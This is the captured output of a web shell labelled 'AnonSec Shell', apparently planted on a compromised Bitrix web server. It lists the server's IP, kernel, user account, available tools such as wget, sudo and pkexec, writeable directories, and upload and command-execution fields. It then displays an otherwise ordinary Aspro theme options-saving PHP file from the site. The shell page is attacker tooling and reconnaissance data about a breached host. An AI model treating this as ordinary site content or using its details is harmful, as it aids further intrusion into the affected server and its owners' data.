AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.142.199.126
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/ajax/options_save.php
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");?>
<?
global $USER;
$bSuccessConfigSave = false;

if($USER->IsAdmin() && (isset($_POST['SAVE_OPTIONS']) && $_POST['SAVE_OPTIONS'] == 'Y'))
{
	if(isset($_SESSION['THEME']) && $_SESSION['THEME'])
	{
		if($_SESSION['THEME'][SITE_ID])
		{
			\Bitrix\Main\Loader::includeModule('aspro.max');

			// get options
			foreach(CMax::$arParametrsList as $blockCode => $arBlock)
			{
				if($arBlock['OPTIONS'] && is_array($arBlock['OPTIONS']))
				{
					foreach($arBlock['OPTIONS'] as $optionCode => $arOption)
					{
						if($arOption['TYPE'] !== 'note' && $arOption['TYPE'] !== 'includefile' && $arOption['TYPE'] !== 'file')
							$arBackParametrs[$optionCode] = $arOption;
					}
				}
			}
			$bSuccessConfigSave = true;
			$arDependentParams = array();
			
			foreach($_SESSION['THEME'][SITE_ID] as $optionCode => $optionValue)
			{
				if($arBackParametrs[$optionCode]) //save exists option
				{
					\Bitrix\Main\Config\Option::set('aspro.max', $optionCode, $optionValue, SITE_ID);
				}
				else //get dependent option
				{
					if(strpos($optionCode, 'index') !== false)
					{
						if(strpos($optionCode, 'SORT_ORDER_') !== false)
						{
							$arTmpOption = explode('_', $optionCode);
							$index_code = array_pop($arTmpOption);
							$index_subvalue = implode('_', $arTmpOption);
						}
						else
						{
							$arTmpOption = explode('_', $optionCode, 2);
							$index_code = reset($arTmpOption);
							$index_subvalue = end($arTmpOption);
						}

						$arDependentParams[$index_code][$index_subvalue] = $optionValue;
					}
					else
						$arDependentParams[$optionCode] = $optionValue;
				}
			}
			if($arDependentParams) // save dependent options
			{
				foreach($arBackParametrs as $optionCode => $arOption)
				{
					if(isset($arOption['DEPENDENT_PARAMS']) && $arOption['DEPENDENT_PARAMS'])
					{
						foreach($arOption['DEPENDENT_PARAMS'] as $dependOptionCode => $arValue)
						{
							if($arDependentParams[$dependOptionCode])
							{
								if($arValue['LIST'][$arDependentParams[$dependOptionCode]])
									\Bitrix\Main\Config\Option::set('aspro.max', $dependOptionCode, $arDependentParams[$dependOptionCode], SITE_ID);
							}
						}
					}
					elseif(isset($arOption['ADDITIONAL_OPTIONS']) && $arOption['ADDITIONAL_OPTIONS'])
					{
						foreach($arOption['LIST'] as $keyh => $arValueH)
						{
							if($arValueH['ADDITIONAL_OPTIONS'])
							{
								foreach($arValueH['ADDITIONAL_OPTIONS'] as $keyh2 => $arValueH2)
								{
									if($arDependentParams[$keyh2."_".$keyh])
									{
										\Bitrix\Main\Config\Option::set('aspro.max', $keyh2."_".$keyh, $arDependentParams[$keyh2."_".$keyh], SITE_ID);
									}
								}
							}
						}
					}
					elseif(isset($arOption['SUB_PARAMS']) && $arOption['SUB_PARAMS'])
					{
						$arOptionKeys = array_keys($arDependentParams);
						foreach($arDependentParams as $key => $arSubParams)
						{
							$arTemplateIndex = array();
							if(is_array($arSubParams))
							{
								foreach($arSubParams as $key2 => $value)
								{
									if(strpos($key2, 'TEMPLATE') !== false)
									{
										$arTemplateIndex[$key2] = $value;
										unset($arSubParams[$key2]);

										$strTmpCode = str_replace('TEMPLATE', '', $key2);
										$arTmpDopConditions = array();
										foreach($arSubParams as $key3 => $value)
										{
											if(strpos($key3, $strTmpCode) !== false)
											{
												if($arSubParams[$key3])
												{
													$arTmpDopConditions[$key3] = $value;
													unset($arSubParams[$key3]);
												}
											}
										}
										if($arTmpDopConditions)
										{
											\Bitrix\Main\Config\Option::set('aspro.max', "N_O_".$optionCode."_".$key."_".$strTmpCode, serialize($arTmpDopConditions), SITE_ID);
										}
									}
									elseif(strpos($key2, 'SORT_ORDER_') !== false)
										unset($arSubParams[$key2]);
									elseif(strpos($key2, 'fon') !== false)
									{
										\Bitrix\Main\Config\Option::set('aspro.max', $key2, $value, SITE_ID);
									}
								}
							}

							if($arOption['LIST'][$key] && $arOption['SUB_PARAMS'][$key])
							{
								\Bitrix\Main\Config\Option::set('aspro.max', "NESTED_OPTIONS_".$optionCode."_".$key, serialize($arSubParams), SITE_ID);
							}

							//save teplate index
							if($arTemplateIndex)
							{
								foreach($arTemplateIndex as $key2 => $value)
								{
									\Bitrix\Main\Config\Option::set('aspro.max', $key."_".$key2, $value, SITE_ID);
								}
							}
							//sort order prop for main page
							$param = 'SORT_ORDER_'.$optionCode.'_'.$key;
							\Bitrix\Main\Config\Option::set('aspro.max', $param, $_SESSION['THEME'][SITE_ID][$param], SITE_ID);
						}
					}
				}
			}
		}
	}
}

if($bSuccessConfigSave)
{
	$addResult = array('STATUS' => 'OK', 'MESSAGE' => 'CONFIG_SAVE_SUCCESS');
	unset($_SESSION['THEME'][SITE_ID]);
}
else
	$addResult = array('STATUS' => 'ERROR', 'MESSAGE' => 'CONFIG_SAVE_FAIL');	

echo json_encode($addResult);
die();
?>

Anon7 - 2022
AnonSec Team